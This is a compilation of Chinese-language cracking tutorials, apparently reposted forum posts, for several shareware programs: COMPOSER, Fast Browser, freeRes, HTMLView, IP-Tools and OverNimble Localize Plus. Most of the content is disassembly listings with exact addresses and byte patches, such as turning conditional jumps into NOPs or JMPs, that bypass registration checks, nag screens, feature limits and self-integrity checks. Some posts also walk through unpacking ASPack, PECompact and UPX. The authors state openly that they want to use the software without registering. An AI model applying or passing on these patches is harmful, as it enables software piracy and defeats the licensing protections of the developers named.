"Not valid Code or E-mail." 如下所示:

:004043CE 6A30 push 00000030

* Possible StringData Ref from Data Obj ->"Error"
|
:004043D0 6890F84100 push 0041F890

* Possible StringData Ref from Data Obj ->"Not valid Code or E-mail."
肯定是不能让他跳过来的啦!这里不跳就说明成功了,下面的代码一行行走向了" - Registered".

:004043D5 6876F84100 push 0041F876
:004043DA 53 push ebx
:0040437E 33C0 xor eax, eax
:00404380 83C9FF or ecx, FFFFFFFF
:00404383 BF81E14100 mov edi, 0041E181
:00404388 8DB5F0FEFFFF lea esi, dword ptr [ebp+FFFFFEF0]
:0040438E F2 repnz
:0040438F AE scasb
:00404390 F7D1 not ecx
:00404392 2BF9 sub edi, ecx
:00404394 8BD1 mov edx, ecx
:00404396 87F7 xchg edi, esi
:00404398 C1E902 shr ecx, 02
:0040439B 8BC7 mov eax, edi
:0040439D F3 repz
:0040439E A5 movsd
:0040439F 8BCA mov ecx, edx
:004043A1 8D85F0FEFFFF lea eax, dword ptr [ebp+FFFFFEF0]
:004043A7 83E103 and ecx, 00000003
:004043AA F3 repz
:004043AB A4 movsb

* Possible StringData Ref from Data Obj ->" - Registered"
下略.

也不知道你看懂了没有,反正我的思路比较业余一些,只是从那个出错的对话框,找到了那几个跳转,现在要改的是子程序里面的那个JNE,就是:00403A7B 7428 jne 00403AA5,因为改了它,判断密码正确与否的子程序就不起作用了,而是直接把这个版本认为是经过注册的正式版.好了,现在动手:
用HIEW把COMPOSER打开,F4切换,F5输入它的偏移地址0000307B,F3修改,把74改为75,F9存盘.退出,好了现在再启动COMPOSER,直接就是"Registered"了.把你的MID载入,可以任意修改各种音色,成为自己的MID,存盘.真爽!


Fast Browser

 标 题:用DeDe v2.5破Dephi程序Fast Browser (7千字)
发信人:leo_cyl1
时 间:2001-10-30 16:35:10
详细信息:
Fast Browser 是一个非常棒的多线程浏览器，它让你的网上冲浪变得更加简单和方便，极大地扩充了浏览器的功能。介绍和下载地址：http://download.pchome.net/internet/browser/browser/875.html

我个人很喜欢它，但是要注册才无功能限制。而且注册方式比较特别，输入username后，要上网检验是否合法，如果没有你名字的定单，那么username是非法的。
先用fi看一下FastBrowser.exe是PECompact v1.40的壳。很好脱，冲击波2k查到OEP是503254，用trw2k载入执行到503254后，下makepe命令即可。
运行脱壳后的程序……ok！挺正常，慢……居然没有skin（“皮肤”）*@!#%$#^&#$(……
看来它在OEP之前就加载skin了。看看原始目录发现有个skindll.dll挺可疑。把它改名，再运行原始的FastBrowser.exe，果然“皮肤”不见了。好，下断点bpx loadlibrarya;重新运行，在loadlibrarya处停下，看一下参数：d *(esp+4) ,果然是skindll.dll！F12回到FastBrowser.exe领空：
======================================================================================
:005034C0 55 push ebp
:005034C1 8BEC mov ebp, esp
:005034C3 83C4F8 add esp, FFFFFFF8

* Possible StringData Ref from Code Obj ->"skindll.dll"
|
:005034C6 68F4345000 push 005034F4

* Reference To: KERNEL32.LoadLibraryA, Ord:0000h
|
:005034CB E8E0FFFFFF Call 005034B0
:005034D0 8945FC mov dword ptr [ebp-04], eax <==停在这
:005034D3 6A0A push 0000000A
:005034D5 8B45FC mov eax, dword ptr [ebp-04]
:005034D8 50 push eax

* Reference To: KERNEL32.GetProcAddress, Ord:0000h
|
:005034D9 E8DAFFFFFF Call 005034B8
:005034DE 8945F8 mov dword ptr [ebp-08], eax
:005034E1 837DF800 cmp dword ptr [ebp-08], 00000000
:005034E5 7403 je 005034EA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050349F(C)
|
:005034E7 FF55F8 call [ebp-08]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005034E5(C)
|
:005034EA E8B9FFFFFF call 005034A8
:005034EF 59 pop ecx
:005034F0 59 pop ecx
:005034F1 5D pop ebp
:005034F2 C3 ret
======================================================================================
当函数返回后来到这里：
* Referenced by a CALL at Address:
|:005034EA
|
:005034A8 E8A7FDFFFF call 00503254
:005034AD C3 ret
=========================================================================================
哈哈……这里不就是OEP嘛！
往上看，在005034C0处，凭经念此处应该是call开始的第一条指令。 所以冒险把OEP修正为005034C0 ，用peditor改好后，运行，一切ok！
脱壳后的FastBrowser.exe再用fi查看，居然是dephi写的！（第一次crack dephi程序，心里没底，呵呵……），刚好手头上有反编译dephi工具dede v2.5，用dede装入FastBrowser.exe，点击process按扭开始反编译……。

趁反编译的空，先整理一下思路，前面讲过FastBrowser.exe加密的特别地方，但种类软件通常有个弱点，就是用一个bool型的全局变量来表示是否注册。所以主要找到它初始化的地方，将它改为01，就变成注册版了。

现在点击dede中的procedures按扭，可以看到几个函数，再点击右边的“Disassemble proc”按扭，输入503254（即原始的OEP）这是查看程序的人口函数（相当于主程序）：
00503254 55 push ebp
00503255 8BEC mov ebp, esp
00503257 83C4EC add esp, -$14
0050325A 53 push ebx
0050325B 56 push esi
0050325C 33C0 xor eax, eax
0050325E 8945EC mov [ebp-$14], eax
00503261 8945F0 mov [ebp-$10], eax
00503264 B8CC2E5000 mov eax, $00502ECC

* Reference to: sysinit.@InitExe;
|
00503269 E8823FF0FF call 004071F0
0050326E 8B1DD4655000 mov ebx, [$5065D4]
00503274 33C0 xor eax, eax
00503276 55 push ebp
00503277 687D345000 push $0050347D

***** TRY
|
0050327C 64FF30 push dword ptr fs:[eax]
0050327F 648920 mov fs:[eax], esp
00503282 A13C685000 mov eax, dword ptr [$50683C]
00503287 C60000 mov byte ptr [eax], $00
0050328A A140675000 mov eax, dword ptr [$506740]
0050328F C60000 mov byte ptr [eax], $00
00503292 A16C685000 mov eax, dword ptr [$50686C]
00503297 C60001 mov byte ptr [eax], $01

|
0050329A E80D1BFDFF call 004D4DAC
0050329F 8B15DC625000 mov edx, [$5062DC] <====关键！！
005032A5 8802 mov [edx], al
005032A7 A1E0655000 mov eax, dword ptr [$5065E0]
005032AC 803800 cmp byte ptr [eax], $00
005032AF 740A jz 005032BB

|
005032B1 E8EA54FDFF call 004D87A0
005032B6 E9A7010000 jmp 00503462

|
005032BB E82C25FDFF call 004D57EC
005032C0 84C0 test al, al
005032C2 0F849A010000 jz 00503462
005032C8 A140675000 mov eax, dword ptr [$506740]
005032CD 803800 cmp byte ptr [eax], $00
005032D0 7439 jz 0050330B
005032D2 A1DC625000 mov eax, dword ptr [$5062DC]
005032D7 803800 cmp byte ptr [eax], $00
005032DA 752F jnz 0050330B
005032DC 33C9 xor ecx, ecx
005032DE B201 mov dl, $01

* Reference to class TRegisterForm <===注册窗口！！
|
005032E0 A1C8B14D00 mov eax, dword ptr [$4DB1C8]

* Reference to: forms.TCustomForm.Create(TCustomForm;boolean;Classes.TComponent);
| or: forms.TDataModule.Create(TDataModule;boolean;Classes.TComponent);
|
005032E5 E83E92F4FF call 0044C528

==================================================================
看到TRegisterForm了吗？呵呵…… 往上看，全局变量[$506740]和[$5062DC]很可疑，经过测试[$5062DC]就是代表是否注册的全局变量。它在哪里初始化呢？再往上看，0050329F处就是了！我将它改为：
inc al
mov [5062dc],al
nop
再次运行，Mmm……已经是注册版了，但标题还是未注册的，真烦！用w32asm黄金版反汇编，查找字符串"(Unregistered Version)"
=============================================================================
:004D4B53 E86CF2F2FF call 00403DC4
:004D4B58 803D805E500000 cmp byte ptr [00505E80], 00
:004D4B5F 752B jne 004D4B8C
:004D4B61 803D745E500000 cmp byte ptr [00505E74], 00
:004D4B68 7522 jne 004D4B8C <=======注意
:004D4B6A 84DB test bl, bl
:004D4B6C 751E jne 004D4B8C
:004D4B6E B80C7D5000 mov eax, 00507D0C

* Possible StringData Ref from Code Obj ->"(Unregistered Version)"
|
:004D4B73 BAF04B4D00 mov edx, 004D4BF0
:004D4B78 E87BF4F2FF call 00403FF8
:004D4B7D B8107D5000 mov eax, 00507D10

* Possible StringData Ref from Code Obj ->"(Unregistered Version)"
|
:004D4B82 BAF04B4D00 mov edx, 004D4BF0
:004D4B87 E86CF4F2FF call 00403FF8

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004D4B5F(C), :004D4B68(C), :004D4B6C(C)
|
:004D4B8C 33C0 xor eax, eax
=======================================================================
将004D4B68处jne该为jmp即可。

其实这个软件应该可以找到注册码的，关键在50329a处的call；我大概看了一下，它在.\Fast Browser\Pro4目录下查找serialcode.key和.\Fast Browser\Pro4\Search\buy两个keyfile……，不过我一向不喜欢数字游戏，还是请各位大虾出马吧！


freeResV0.94

 标 题:freeResV0.94疯狂暴力破解 (3千字)
发信人:多情俏狐
时 间:2002-1-9 13:36:52
详细信息:
freeResV0.94疯狂暴力破解
===============================================================
多情俏狐
peiyou henan china

所用工具:1:w32dasm白金版或9.00
2:trw20001.23
3:dede30
4:procdump1.62
5.hedit2(我喜欢用,它最小最快)

先用Procdump脱Asppack壳的 script.ini 扩展 脱掉程序的壳。

再用w32dasm(白金版)查找"300 KB"，找到两处如下:
第一处:
:004C96C6 3D00B00400 cmp eax, 0004B000
:004C96CB 7426 jle 004C96F3
=====>74 改EB
:004C96CD E80E27FFFF call 004BBDE0
:004C96D2 6A10 push 00000010
:004C96D4 A1E8134D00 mov eax, dword ptr [004D13E8]
:004C96D9 8B00 mov eax, dword ptr [eax]
:004C96DB E8F0A9F3FF call 004040D0
:004C96E0 8BC8 mov ecx, eax

* Possible StringData Ref from Data Obj ->"该软件未注册，所以大于 300 KB "
->"的文件不能执行此项操作！"
|
:004C96E2 BAB49B4C00 mov edx, 004C9BB4
:004C96E7 A100144D00 mov eax, dword ptr [004D1400]
:004C96EC 8B00 mov eax, dword ptr [eax]
:004C96EE E83D70F8FF call 00450730

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004C96B6(C), :004C96CB(U)
|
:004C96F3 E80825FFFF call 004BBC00

第二处:
:004CD305 3D00B00400 cmp eax, 0004B000
:004CD30A 7E26 jle 004CD332
=====>74 改EB搞定就行了
:004CD30C E8CFEAFEFF call 004BBDE0
:004CD311 6A10 push 00000010
:004CD313 A1E8134D00 mov eax, dword ptr [004D13E8]
:004CD318 8B00 mov eax, dword ptr [eax]
:004CD31A E8B16DF3FF call 004040D0
:004CD31F 8BC8 mov ecx, eax

* Possible StringData Ref from Data Obj ->"该软件未注册，所以大于 300 KB "
->"的文件不能执行此项操作！"
|
:004CD321 BAF4D44C00 mov edx, 004CD4F4
:004CD326 A100144D00 mov eax, dword ptr [004D1400]
:004CD32B 8B00 mov eax, dword ptr [eax]
:004CD32D E8FE33F8FF call 00450730

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004CD2F5(U), :004CD30A(C)
|
:004CD332 E8C9E8FEFF call 004BBC00

最后用dede30找到"建立可编辑资源"的处理程序段build1Click
进而查出处理程序的首址为004cd2d0,然后用trw2000跟踪，
分别用小于300K和大于300K的压缩程序进行卑鄙大法跟踪
得到如下结果.

4cd339 都不跳
4cd34e offset cc94e ===>一跳就死 nop掉
4cd35e 都跳
4cd41b 不跳

0F8F78010000 nop掉就行了

我不想找出注册码，但我要用，所以这样就行了.

注:

天山折梅手解释:

:004BBD09 E80E83F4FF call 0040401C--------->暗桩！“假假”
注册码对比，如相等则作者发觉你在破解它然后退出！
:004BBD0E 750C jne 004BBD1C---------->一定要跳才行，
offset bb30e
不能让“假假”注册码相等！

:004BBD48 E8CF82F4FF call 0040401C--------------->注册名与注册码变形后之值对比！
:004BBD4D 7504 jne 004BBD53---------------->一定不能跳！即值要相等。

oake的脱壳扩展:

在[INDEX]后添加
pXX=Aspack (XX为十六进制)

[Aspack]
L1=OBJR
L2=LOOK EB,?
L3=JZ 5
L4=QUIT
L5=BP
L6=WALK
L7=OBJR
L8=LOOK 61,75
L9=BP
LA=STEP
OPTL1=00000000
OPTL2=01010001
OPTL3=01010001
OPTL4=00030000
OPTL5=00000000


HTMLVIEW1.68

标 题:HTMLVIEW1.68
发信人:飞狐
时 间:2002/02/24 09:43pm
详细信息:

HTMLVIEW1.68 暴力修改（我等懒人的惯用方法）。
下载地址：HTTP://www.anixsoft.com/files/HTMLView.exe
字节数：609K
(所用的软件有TRW2000、unaspack1.0.9.1、peid、DEDE2.50、HEX WORKSHOP3.1)
此文件没有注册时不论启动还是退出都有烦人的NAG窗口，所以只好开刀手术。请作者不要见怪。我也是不得已而为之。(^_^)
1、此文件是一个用ASPACK加壳的文件。首先用unaspack1.0.9.1去壳。
2、用peidenifier0.7查看此文件的类型，你就会看到它是用Borland Delphi编的
3、所以正好可以用DEDE2.50反汇编此文件。(打开about下的REGBTNCLICK)你就会看到如下代码：

***** TRY
|
0049A983 64FF30 push dword ptr fs:[eax]
0049A986 648920 mov fs:[eax], esp
0049A989 33DB xor ebx, ebx
0049A98B 8D45FC lea eax, [ebp-$04]

|
0049A98E E8F1ADFFFF call 00495784
0049A993 84C0 test al, al
0049A995 7477 jz 0049AA0E此处也许是判断是否输入注册码。为空就跳。
0049A997 8BC6 mov eax, esi

|
0049A999 E80A4CF9FF call 0042F5A8
0049A99E 8BC8 mov ecx, eax

* Reference to pointer to GlobalVar_004A48D0
|
0049A9A0 A110384A00 mov eax, dword ptr [$4A3810]
0049A9A5 8B00 mov eax, [eax]
0049A9A7 8B55FC mov edx, [ebp-$04]

|
0049A9AA E8E565FDFF call 00470F94　所以此处按F8进入0049A9AF 84C0 test al, al
0049A9B1 7433 jz 0049A9E6输入错误就跳转。
0049A9B3 6A00 push $00
0049A9B5 6A00 push $00
0049A9B7 8D4DF8 lea ecx, [ebp-$08]

* Possible String Reference to: 'lsSuccessReg'　注册成功
|
0049A9BA BA40AA4900 mov edx, $0049AA40

* Reference to control TMainFORM.LangStorage : TLangFORMStorage
|
0049A9BF 8B86FC020000 mov eax, [esi+$02FC]

|
0049A9C5 E8925FFDFF call 0047095C
0049A9CA 8B45F8 mov eax, [ebp-$08]
0049A9CD 668B0D50AA4900 mov cx, word ptr [$49AA50]
0049A9D4 B202 mov dl, $02

|
0049A9D6 E8853DFDFF call 0046E760
0049A9DB 8BC6 mov eax, esi

* Reference to : TMainFORM.~PROC~0049A900()
|
0049A9DD E81EFFFFFF call 0049A900
0049A9E2 B301 mov bl, $01
0049A9E4 EB28 jmp 0049AA0E
0049A9E6 6A00 push $00
0049A9E8 6A00 push $00
0049A9EA 8D4DF8 lea ecx, [ebp-$08]

* Possible String Reference to: 'lsInvalidCode'注册失败
|
0049A9ED BA5CAA4900 mov edx, $0049AA5C

* Reference to control TMainFORM.LangStorage : TLangFORMStorage
|
0049A9F2 8B86FC020000 mov eax, [esi+$02FC]

|
0049A9F8 E85F5FFDFF call 0047095C
0049A9FD 8B45F8 mov eax, [ebp-$08]
0049AA00 668B0D50AA4900 mov cx, word ptr [$49AA50]
0049AA07 B201 mov dl, $01

|
0049AA09 E8523DFDFF call 0046E760
0049AA0E 33C0 xor eax, eax
0049AA10 5A pop edx
0049AA11 59 pop ecx
0049AA12 59 pop ecx
0049AA13 648910 mov fs:[eax], edx

****** FINALLY
|
0049AA16 6830AA4900 push $0049AA30
0049AA1B 8D45F8 lea eax, [ebp-$08]
0049AA1E BA02000000 mov edx, $00000002

|
0049AA23 E8DC8FF6FF call 00403A04
0049AA28 C3 ret

0049AA29 E9B689F6FF jmp 004033E4
0049AA2E EBEB jmp 0049AA1B
4、综上所述运行TRW2000，装入HTMLVIEW1.68。输入注册码
设中断BPX　49A9A0
5、按CTR＋N返回按确定。拦截成功。看到如下代码：
0049A9AA E8E565FDFF call 00470F94　所以此处按F8进入0049A9AF 84C0 test al, al
0049A9B1 7433 jz 0049A9E6输入错误就跳转。
0049A9B3 6A00 push $00
0049A9B5 6A00 push $00
0049A9B7 8D4DF8 lea ecx, [ebp-$08]
6、按F10当走到如下代码时停住：
00470fd3 call 47103c
00470fd8 test al,al
00470fda jz 47100f 注册码输入错误就跳。所以修改标志寄存器，使其不跳转。
7、继续按F10，你就会看到如下代码
495CD9　CALL　495CE0　按F10过去就可以结束此次pj。再启动你就会看到烦人的NAG窗口不见了，成为注册版本。
＊＊＊＊＊＊＊＊＊＊
或者在下面的代码处下CODE　ON命令看看此时机器码
00470fd3 call 47103c
00470fd8 test al,al
00470fda jz 47100f
拿笔抄下：E86400000084C07433E8237BF9FF
然后调出十六进制的编辑器如HEX WORKSHOP查找抄下的代码E86400000084C07433E8237BF9FF把7433改成9090。
也就是把JZ　47100F改成NOP　NOP。
此时你就可以随便输入注册码。


ip-tools2.04

 标 题:完美破解ip-tools2.04,不对之处请大家指正. (8千字)
发信人:雁南飞
时 间:2002-2-5 14:06:44
详细信息:
完美破解ip-tools2.04多谢炎兄的提示啊!!!
------------------------
这个东西好像真的不错,可是不注册在启动的时候会有个让你注册的对话框,让你等的很烦!!!

好!让我们试着crack掉他!

工具: trw2000 windasm ultraedit32

下bpx sendmessage 中断,然后小心安F10,来到004E881E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D87DA(C)
|
:004D8817 8B03 mov eax, dword ptr [ebx]
:004D8819 E8E6A8F2FF call 00403104
:004D881E E875F1FFFF call 004D7998<------出现那个注册框,在这里安F9设断.f8进
:004D8823 8B06 mov eax, dword ptr [esi]
:004D8825 E89EB5F5FF call 00433DC8
------------------------------------------------------------------------
* Referenced by a CALL at Address:
|:004D881E
|
:004D7998 55 push ebp
:004D7999 8BEC mov ebp, esp
:004D799B 33C9 xor ecx, ecx
:004D799D 51 push ecx
:004D799E 51 push ecx
:004D799F 51 push ecx
:004D79A0 51 push ecx
:004D79A1 51 push ecx
:004D79A2 51 push ecx
:004D79A3 53 push ebx
:004D79A4 56 push esi
.
.
.
.
.
.小心安f10来到这里
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D7C95(C)
|
:004D7CA8 6A00 push 00000000
:004D7CAA B81E000000 mov eax, 0000001E
:004D7CAF E8B4B0F2FF call 00402D68
:004D7CB4 8BD0 mov edx, eax
:004D7CB6 6683C205 add dx, 0005
:004D7CBA 66B91400 mov cx, 0014
:004D7CBE 66B80100 mov ax, 0001
:004D7CC2 E80910F3FF call 00408CD0
:004D7CC7 A124134E00 mov eax, dword ptr [004E1324]
:004D7CCC DD18 fstp qword ptr [eax]
:004D7CCE 9B wait
:004D7CCF E8E4FBFFFF call 004D78B8
:004D7CD4 84C0 test al, al
:004D7CD6 740D je 004D7CE5<------跳到烦人窗口,nop掉.
:004D7CD8 B80A000000 mov eax, 0000000A
:004D7CDD E886B0F2FF call 00402D68
:004D7CE2 48 dec eax
:004D7CE3 7544 jne 004D7D29<------跳过烦人窗口 改为jmp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D7CD6(C)
|
:004D7CE5 B001 mov al, 01
:004D7CE7 E89844FDFF call 004AC184<---------出现烦人窗口
:004D7CEC EB3B jmp 004D7D29

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D7C8B(C)
|
:004D7CEE 6A00 push 00000000
:004D7CF0 B82D000000 mov eax, 0000002D
:004D7CF5 E86EB0F2FF call 00402D68

好了该他的校验了问题了.
用windasm查找 programe was corrupted

* Possible StringData Ref from Code Obj ->"] SelfTest .."
|
:004D84BA 689C884D00 push 004D889C
:004D84BF 8D45F0 lea eax, dword ptr [ebp-10]
:004D84C2 BA03000000 mov edx, 00000003
:004D84C7 E83CBBF2FF call 00404008
:004D84CC 8B55F0 mov edx, dword ptr [ebp-10]
:004D84CF 8B03 mov eax, dword ptr [ebx]
:004D84D1 8B80DC010000 mov eax, dword ptr [eax+000001DC]
:004D84D7 8B8030010000 mov eax, dword ptr [eax+00000130]
:004D84DD 8B08 mov ecx, dword ptr [eax]
:004D84DF FF5134 call [ecx+34]
:004D84E2 E861CEFBFF call 00495348 F8追进这个call(1)
:004D84E7 8B1590124E00 mov edx, dword ptr [004E1290]
:004D84ED 3B82B4000000 cmp eax, dword ptr [edx+000000B4]<---注意这个eax的值.如果你 crack了他,eax返回值不是33
fe9a19
:004D84F3 740F je 004D8504<-------跳过校验.可以让程序运行了.

* Possible StringData Ref from Code Obj ->"Program was corrupted !"
|
:004D84F5 B8B4884D00 mov eax, 004D88B4
:004D84FA E801C2F6FF call 00444700
:004D84FF E926030000 jmp 004D882A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D84F3(C)
|
:004D8504 687C884D00 push 004D887C
:004D8509 E8F60BF3FF call 00409104
:004D850E 83C4F8 add esp, FFFFFFF8
:004D8511 DD1C24 fstp qword ptr [esp]
:004D8514 9B wait
:004D8515 8D45EC lea eax, dword ptr [ebp-14]
------------------------------------------------------------------------------
(1)
暗F10慢慢来到这个地方
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00495479(C)
|
:004953F8 8D85F4BFFFFF lea eax, dword ptr [ebp+FFFFBFF4]
:004953FE 33C9 xor ecx, ecx
:00495400 BA00400000 mov edx, 00004000
:00495405 E83ED9F6FF call 00402D48
:0049540A 8D45F8 lea eax, dword ptr [ebp-08]
:0049540D 50 push eax
:0049540E 8D95F4BFFFFF lea edx, dword ptr [ebp+FFFFBFF4]
:00495414 B900400000 mov ecx, 00004000
:00495419 8D85A8BEFFFF lea eax, dword ptr [ebp+FFFFBEA8]
:0049541F E83800F7FF call 0040545C
:00495424 8B75F8 mov esi, dword ptr [ebp-08]
:00495427 85F6 test esi, esi
:00495429 7903 jns 0049542E
:0049542B 83C603 add esi, 00000003

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00495429(C)
|
:0049542E C1FE02 sar esi, 02
:00495431 46 inc esi
:00495432 85F6 test esi, esi
:00495434 7E36 jle 0049546C
:00495436 BF01000000 mov edi, 00000001
:0049543B 8D9DF4BFFFFF lea ebx, dword ptr [ebp+FFFFBFF4]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049546A(C)
|
:00495441 89BDA0BEFFFF mov dword ptr [ebp+FFFFBEA0], edi
:00495447 DB85A0BEFFFF fild dword ptr [ebp+FFFFBEA0]
:0049544D DB2DC8544900 fld tbyte ptr [004954C8]
:00495453 DEC9 fmulp st(1), st(0)
:00495455 D805D4544900 fadd dword ptr [004954D4]
:0049545B E810D7F6FF call 00402B70
:00495460 F72B imul dword ptr [ebx]
:00495462 0145FC add dword ptr [ebp-04], eax
:00495465 47 inc edi
:00495466 83C304 add ebx, 00000004
:00495469 4E dec esi
:0049546A 75D5 jne 00495441

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004953F6(U), :00495434(C)
|
:0049546C 8D85A8BEFFFF lea eax, dword ptr [ebp+FFFFBEA8]
:00495472 E8E900F7FF call 00405560
:00495477 84C0 test al, al
:00495479 0F8479FFFFFF je 004953F8<-----------这个循环是自校验部分.得出eax值.判断程序 :0049547F 8A45F4 mov al, byte ptr [ebp-0C] 是否改动过.
:00495482 8B15FC164E00 mov edx, dword ptr [004E16FC]
:00495488 8802 mov byte ptr [edx], al
:0049548A 8D85A8BEFFFF lea eax, dword ptr [ebp+FFFFBEA8]在此处ebp-04应该为33fe9a19
:00495490 E88F00F7FF call 00405524 改为 mov eax,33fe9a19
:00495495 8B45FC mov eax, dword ptr [ebp-04]此处nop掉.改为909090
:00495498 A3E0CA4D00 mov dword ptr [004DCAE0], eax 这个004dcae0就是为什么我们crack ^^^^^^^^^^后一些功能受限制的罪魁祸首的地方.
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004953CA(C), :004953F0(C)
|
:0049549D 33C0 xor eax, eax
:0049549F 5A pop edx
:004954A0 59 pop ecx
:004954A1 59 pop ecx
:004954A2 648910 mov dword ptr fs:[eax], edx
:004954A5 68BD544900 push 004954BD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004954BB(U)
|
:004954AA 8D85A4BEFFFF lea eax, dword ptr [ebp+FFFFBEA4]
:004954B0 E817E8F6FF call 00403CCC
:004954B5 C3 ret

:004954B6 E915E2F6FF jmp 004036D0
:004954BB EBED jmp 004954AA
:004954BD 8B45FC mov eax, dword ptr [ebp-04]
:004954C0 5F pop edi
:004954C1 5E pop esi
:004954C2 5B pop ebx
:004954C3 8BE5 mov esp, ebp
:004954C5 5D pop ebp
:004954C6 C3 ret

ping的功能可以用了,爽啊!嘿嘿~~~~~~但是好像大家都有注册码啊!!!呵呵~~~~~~~~
不对之处请大家指正!!!


OverNimble Localize Plus 1.2

 标 题:菜鸟的一篇拙文 (6千字)
发信人:八鸟@
时 间:2002-2-16 17:23:24
详细信息:
学习pj也有二十几天了，头一次遇上vb程序，而初次接触的感觉真叫人头疼。先说明一下，我对vb的bp函数，处理形式，以及常用判断方式一窍不通。但菜鸟有菜鸟的方法。下面就介绍我是怎么KO它的（格斗游戏打多了）。：） 当然可能犯许多错误，欢迎指出，高手勿笑。

软件名称：OverNimble Localize Plus 1.2
简 介：说明上写：“查找 ASCII 所生成的对照文件的扩展名定为“.a.txt”，请尽量保留，因为对照表文件除了扩展名用来标示类型外，没有其它的方法。对 PE 文件，使用 VA 方式查找可以增加准确率，而且可以查找其它语系的程序（如中文、日文）。”
因为非注册用户第一个功能就不可使用不能不让人光火，虽然它只有100多k。
使用工具：trw1.23;hiew（我也只有这两件）

首先运行主程序，打开注册窗口，键入用户名和注册号（废话），用trw设断：bpx messageboxa,bpx messageboxexa,bpx getdlgitemint,bpx getdlgitemtexta......
什么什么，一个都没拦下！？ 岂有此理，用“万能断点”！！bpx hmemcpy，ok了，不愧是万能的。往下一看，妈呀～怎么都是msvbvm50!__vbaXXXXX，跟进去就到了它的领空了，它调用了好几次我都找不到注册码，因为我不清楚是什么意思，只能放弃追注册码了。：（
现在从它的警告窗口着手，非注册用户按它主界面上的“查找ASCII”按钮就会弹出非注册用户不能使用的nag。我下了好多断点都没拦着它，前面说过了I'm菜鸟。后来想到了bpx lockmytask，在窗口弹出后我们看到：

:00413923 83C40C add esp, 0000000C （从这儿开始，如不对再向上）
:00413926 8B9A6C030000 mov ebx, dword ptr [edx+0000036C]
:0041392C 57 push edi
:0041392D FFD3 call ebx
:0041392F 50 push eax
:00413930 8D45E4 lea eax, dword ptr [ebp-1C]
:00413933 50 push eax
:00413934 FF15B8044300 Call dword ptr [004304B8]
:0041393A 8BF0 mov esi, eax
:0041393C 8D956CFFFFFF lea edx, dword ptr [ebp+FFFFFF6C]
:00413942 52 push edx
:00413943 56 push esi
:00413944 8B0E mov ecx, dword ptr [esi]
:00413946 FF91F0000000 call dword ptr [ecx+000000F0]
:0041394C 85C0 test eax, eax

.
.
.
.
:00413A79 6A00 push 00000000
:00413A7B 50 push eax
:00413A7C C745A008400000 mov [ebp-60], 00004008
:00413A83 FF15C0044300 Call dword ptr [004304C0]－－－这里出现警告窗口

ok,拦下就好办了，又是调用msvbvm50!XXXX，看不懂啦。我们把光条往上拉，再按那个按钮，程序在00413923拦下了。我们知道现在下面有好多跳转能够跳过这个call，肯定有一个是判断注册标记的。来，F10跟进.....

:0041394E 7D12 jge 00413962 －－－－这里没有过00413a83
:00413950 68F0000000 push 000000F0
:00413955 6834AD4000 push 0040AD34
:0041395A 56 push esi
:0041395B 50 push eax
:0041395C FF156C044300 Call dword ptr [0043046C]
:00413962 8BB56CFFFFFF mov esi, dword ptr [ebp+FFFFFF6C]
:00413968 8D4DE4 lea ecx, dword ptr [ebp-1C]
:0041396B FF15F8064300 Call dword ptr [004306F8]
:00413971 0FBFC6 movsx eax, si
:00413974 85C0 test eax, eax
:00413976 0F8430010000 je 00413AAC －－－－让这里....（jump）^_^ :0041397C 0F8E3C010000 jle 00413ABE
:00413982 83F803 cmp eax, 00000003
:00413985 0F8F33010000 jg 00413ABE:00413A76 8D45A0

抱着运气试试，到00413976时下命令a，键入jnz 00413aac，强迫它跳，g！
没想到一下子成功了，出现分析完毕窗口。我想，编这个程序员也许也是菜鸟，在软件运行中居然不断给出提示，包括注册名没填啦什么的，这可是大忌，但对我们来说好事。现在运行command——hiew...什么什么，找到地址不对！？一定是加了壳，用trw load它，果然下面写着upx1＋...领空。可菜鸟不会脱壳，不要紧，我们下命令d413976，看到？？ ？？ ？？.....说明程序还未解压，我们继续跟踪，直到:

0043B01C: 8B02 mov eax,[edx]
0043B01E: 83C204 add edx,004 ;""
0043B021: 8907 mov [edi],eax
0043B023: 83C704 add edi,004 ;""
0043B026: 83E904 sub ecx,004 ;""
0043B029: 77F1 ja .00043B01C -------- (1)
0043B02B: 01CF add edi,ecx
0043B02D: E9A9000000 jmp .00043AF7E -------- (2)
0043B032: 5E pop esi
0043B033: 89F7 mov edi,esi
0043B035: B96B020000 mov ecx,00000026B ;" k"
0043B03A: 8A07 mov al,[edi]

从上面开始到（2）跳转是一个循环，我们把光条拖到43b032上按F7，看到413976已经有数据了，我们u413976：

00413976 0F8430010000 je 00413AAC 0041397C 0F8E3C010000 jle 00413ABE
00413982 83F803 cmp eax, 00000003
.
.
.
就是我们要改的数据，且没有加密，在hiew下找一块空地如下，现在就在（2）上打补丁，让它j到这块空地的基址：

0043B0D7: 0000 add [eax],al
0043B0D9: 0000 add [eax],al
0043B0DB: 66C705763941000F85 mov w,[000413976],0850F ;"?"
0043B0E4: E995FEFFFF jmp .00043AF7E -------- (1)
0043B0E9: 0000 add [eax],al
0043B0EB: 0000 add [eax],al
0043B0ED: 0000 add [eax],al

本来都是0000 add [eax],al，那两行是自己加进去的，注意43b0e4的意思是mov word ptr[413976],850f,用hiew的同胞们要小心，最后再让它j回原本要跳的地址。
